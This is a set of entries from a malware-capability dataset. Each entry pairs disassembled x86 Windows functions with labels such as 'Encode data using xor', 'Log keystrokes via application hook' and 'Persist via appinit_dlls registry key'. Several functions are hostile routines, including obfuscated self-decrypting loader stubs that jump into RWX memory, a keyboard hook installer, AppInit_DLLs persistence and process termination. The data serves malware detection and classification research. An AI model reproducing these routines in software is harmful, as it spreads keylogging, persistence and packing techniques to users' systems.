joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10007fbe
pop dword [ebp - 0x14]
mov eax, 0x249feb0a
sub eax, 0x149f6b4c
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x8aefd560
sub dword [ebp - 0x24], 0x3c9d9015
mov dword [ebp - 0x20], 0x76511da4
add dword [ebp - 0x20], 0xbbe22ea1
mov dword [ebp - 0x1c], 0xfebf3563
sub dword [ebp - 0x1c], 0xb272f135
mov dword [ebp - 0x18], 0xbc9abd10
add dword [ebp - 0x18], 0x436542f0
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xe13ad505
sub dword [ebp - 0x24], 0x6cc86baf
mov dword [ebp - 0x20], 0x6779aae5
sub dword [ebp - 0x20], 0x260d4970
mov dword [ebp - 0x1c], 0x348deee2
add dword [ebp - 0x1c], 0x2ee17d8a
mov dword [ebp - 0x18], 0x1238da25
add dword [ebp - 0x18], 0xedc725db
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x39bab
push 0
call eax
mov ecx, 0xa966d395
sub ecx, 0xa96682a7
mov edx, eax
mov ebx, 0x4c1fbda4
add ebx, 0xc3e2aa5c
add ebx, dword [ebp - 0x14]
mov edi, 0x43d5873f
sub edi, 0x440e2047
xor dword [ebp - 0xc], 0xa4a4b90b
mov esi, dword [ebx]
xor dword [ebp - 4], 0x1065c3e5
xor esi, edi
xor dword [ebp - 0x10], 0x40be4401
mov dword [edx], esi
add dword [ebp - 4], ecx
add edx, 0x32200e2f
sub edx, 0x32200e2b
add ebx, 0x7d4d86e3
add ebx, 0x82b27921
loop 0x100080d6
add eax, 0x1368b
xor ebx, ebx
add ebx, eax
add eax, 0xba4e11e2
add eax, 0x45b1ee23
mov ecx, 0x168b508f
add ecx, 0xf974af71
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x419282
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x419291
pop dword [ebp - 0x14]
mov eax, 0x419291
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3a650
push 0
mov eax, 0xd0166b5e
sub eax, 0xcfd41946
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xbeeb2a6
add ecx, 0xf41187e7
mov edx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x14]
mov ebx, 0x55848014
add dword [ebp - 4], ecx
mov edi, dword [esi]
add dword [ebp - 8], edi
xor edi, ebx
add dword [ebp - 4], 0xfbd6927d
mov dword [edx], edi
sub dword [ebp - 8], 0x3ddd6468
add edx, 4
add esi, 0x9645741f
add esi, 0x69ba8be5
loop 0x4192df
add eax, 0x292007c8
add eax, 0xd6e0d53f
xor ebx, ebx
add ebx, eax
add eax, 0x15a42b81
add eax, 0xea5bd484
mov ecx, 0xb5da26c
sub ecx, 0xb1da26c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4025e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40400c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402680
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402660
xor eax, eax
push ebp
push 0x402659
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40269c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402660
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40400c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40400c], ax
mov esp, ebp
pop ebp
ret

Function at 0x402cc8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x405034], 0
je 0x402d29
cmp word [0x405208], 0xd7b2
jne 0x402cf1
cmp dword [0x405210], 0
jbe 0x402cf1
mov eax, 0x405204
call dword [0x405220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40404c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402d50
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x404018], 0
jne 0x402d45
push 0
push 0x40406c
push 0x40404c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4035a8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x403649
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x405718]
push eax
call sub.user32.dll_GetWindowTextLengthA
mov ebx, eax
test ebx, ebx
jle 0x40361e
lea edi, [ebx + 1]
mov eax, edi
call fcn.00402414
mov esi, eax
push edi
push esi
mov eax, dword [0x405718]
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
mov edx, esi
call fcn.00402f48
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004034b0
mov eax, dword [ebp - 8]
call fcn.00402fd4
push eax
mov eax, dword [0x405720]
push eax
call sub.user32.dll_SetWindowTextA
mov edx, edi
mov eax, esi
call fcn.00402434
jmp 0x40362e
push 0x403658
mov eax, dword [0x405720]
push eax
call sub.user32.dll_SetWindowTextA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403650
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402e68
ret
Function at 0x403670
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4036dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xfd
lea eax, [ebp - 4]
mov edx, 0xfe
call fcn.00402fe0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00402fd4
push eax
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00402fe0
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00402e98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036e4
lea eax, [ebp - 4]
call fcn.00402e44
ret
Function at 0x401308
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40600c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4013a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x401380
xor eax, eax
push ebp
push 0x401379
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4013bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401380
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40600c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40600c], ax
mov esp, ebp
pop ebp
ret

Function at 0x401a58
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x407034], 0
je 0x401ab9
cmp word [0x407208], 0xd7b2
jne 0x401a81
cmp dword [0x407210], 0
jbe 0x401a81
mov eax, 0x407204
call dword [0x407220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x406040
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x401ae0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x406018], 0
jne 0x401ad5
push 0
push 0x406060
push 0x406040
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x402588
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffed8
mov ebx, edx
mov esi, eax
xor edi, edi
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov ebp, eax
mov dword [esp], 0x128
push esp
push ebp
call sub.kernel32.dll_Process32First
jmp 0x4025d1
lea eax, [esp + 0x24]
push eax
push esi
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x4025ca
mov edi, dword [esp + 8]
test bl, bl
je 0x4025db
push esp
push ebp
call sub.kernel32.dll_Process32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x4025b3
push ebp
call sub.kernel32.dll_CloseHandle
mov eax, edi
add esp, 0x128
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4025f0
Capabilities:
Enumerate process modules

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffddc
mov edi, ecx
mov ebx, edx
mov esi, eax
xor ebp, ebp
push 0x104
push edi
call sub.kernel32.dll_RtlZeroMemory
push esi
push 8
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp], 0x224
push esp
push esi
call sub.kernel32.dll_Module32First
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40266d
push ebx
call sub.kernel32.dll_lstrlenA
test eax, eax
je 0x402648
lea eax, [esp + 0x20]
push eax
push ebx
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40265c
lea eax, [esp + 0x120]
push eax
push edi
call sub.kernel32.dll_lstrcpyA
mov ebp, dword [esp + 0x14]
jmp 0x40266d
push esp
push esi
call sub.kernel32.dll_Module32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x40262f
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebp
add esp, 0x224
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x402734
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, esi
call fcn.0040270c
test al, al
jne 0x402758
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x403e94
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403e34
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x408228], eax
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403e54
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40822c], eax
ret

Function at 0x403f00
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x403f08
mov eax, dword [esp + 0x2000]
add esp, 0xffffff84
mov edx, 0x403f84
mov eax, dword [0x4076f8]
call fcn.00402680
mov eax, esp
mov edx, 0x2080
call fcn.00402ed8
push 0x403f98
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
mov ebx, esp
mov eax, ebx
xor edx, edx
call fcn.00402588
test eax, eax
jbe 0x403f6f
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x403f4d
add esp, 0x2080
pop esi
pop ebx
ret

Function at 0x403fa4
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x4040f4
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x408028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x4040fc
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x407a14
mov ecx, 0x40410c
mov edx, ebx
mov eax, 0x80000000
call fcn.00402c00
push 0x404110
mov ecx, 0x40411c
mov edx, ebx
mov eax, 0x80000000
call fcn.00402c00
push 0x40412c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407910
mov ecx, 0x408028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c00
push 0x404174
push ebx
call sub.kernel32.dll_lstrcpyA_1
mov eax, 0x4041ac
xor edx, edx
call fcn.00402588
test eax, eax
ja 0x404046
mov eax, 0x4041b8
xor edx, edx
call fcn.00402588
test eax, eax
jbe 0x40405e
push 0x40410c
mov ecx, 0x4041c8
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c00
jmp 0x404074
push 0x407910
mov ecx, 0x4041c8
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c00
push 0x4041d8
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x404210
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
push 1
mov ecx, 0x404220
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
push 0x40422c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404288
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404290
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402c40
add esp, 0x200
pop ebx
ret
Function at 0x402e10
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404f70
test esi, esi
jne 0x402e46
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00405060
jmp 0x402e64
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402cc4
mov edi, eax
test esi, esi
je 0x402e64
cmp dword [ebx], 0
je 0x402e64
dec esi
jmp 0x402e4d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403560
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4b4008], 0x8088405
inc edx
mov dword [ebx + 0x4b4008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403ff8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4b4010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404090
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x404070
xor eax, eax
push ebp
push 0x404069
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4040ac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404070
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x4b4010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4b4010], ax
mov esp, ebp
pop ebp
ret

Function at 0x404d70
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4b904c], 0
je 0x404dd1
cmp word [0x4b9220], 0xd7b2
jne 0x404d99
cmp dword [0x4b9228], 0
jbe 0x404d99
mov eax, 0x4b921c
call dword [0x4b9238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4b40a4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404df8
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x4b4020], 0
jne 0x404ded
push 0
push 0x4b40c4
push 0x4b40a4
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret

Function at 0x404f24
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a58
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4b904d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404eec
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x406cd0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406f00
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x406d53
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406f00
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x406d53
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406f1c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x406ddc
xor eax, eax
push ebp
push 0x406dd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406b18
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x406dba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406f3c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x406dba
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ddc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406ef6
cmp byte [ebp - 0xd], 0
jne 0x406e23
cmp byte [ebp - 0x12], 0
je 0x406ef6
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406e3c
dec ebx
cmp byte [ebx], 0x2e
je 0x406e4b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x406e3b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406ef6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406e88
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406ef6
cmp byte [ebp - 0xd], 0
je 0x406ef6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406ef6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ad8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405420
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40ada5
test al, 0x10
jne 0x40ada9
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40cf18
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40cf51
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00405060
jmp 0x40cf5a
mov eax, ebx
mov edx, esi
call fcn.00404fc4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40cf64
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40cf85
mov al, byte [esp]
jmp 0x40cf87
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40e488
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40e4ec
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004051d8
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.0040abf8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e4f3
lea eax, [ebp - 0xc]
call fcn.00404f70
ret

Function at 0x421150
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4bbc44
cmp dword [edi], 0
jne 0x4211cc
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4bbc40]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4b4c6c
mov ecx, 2
call fcn.00402c84
mov edx, 0x421128
lea eax, [esi + 5]
call fcn.00421148
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00421148
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4211a1
mov dword [0x4bbc40], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x422748
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42274e
ret
Function at 0x424ba4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x424bf5
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x424bdc
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x424bcc
jmp 0x424bf5
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x424bdd
pop ebx
mov esp, ebp
pop ebp
ret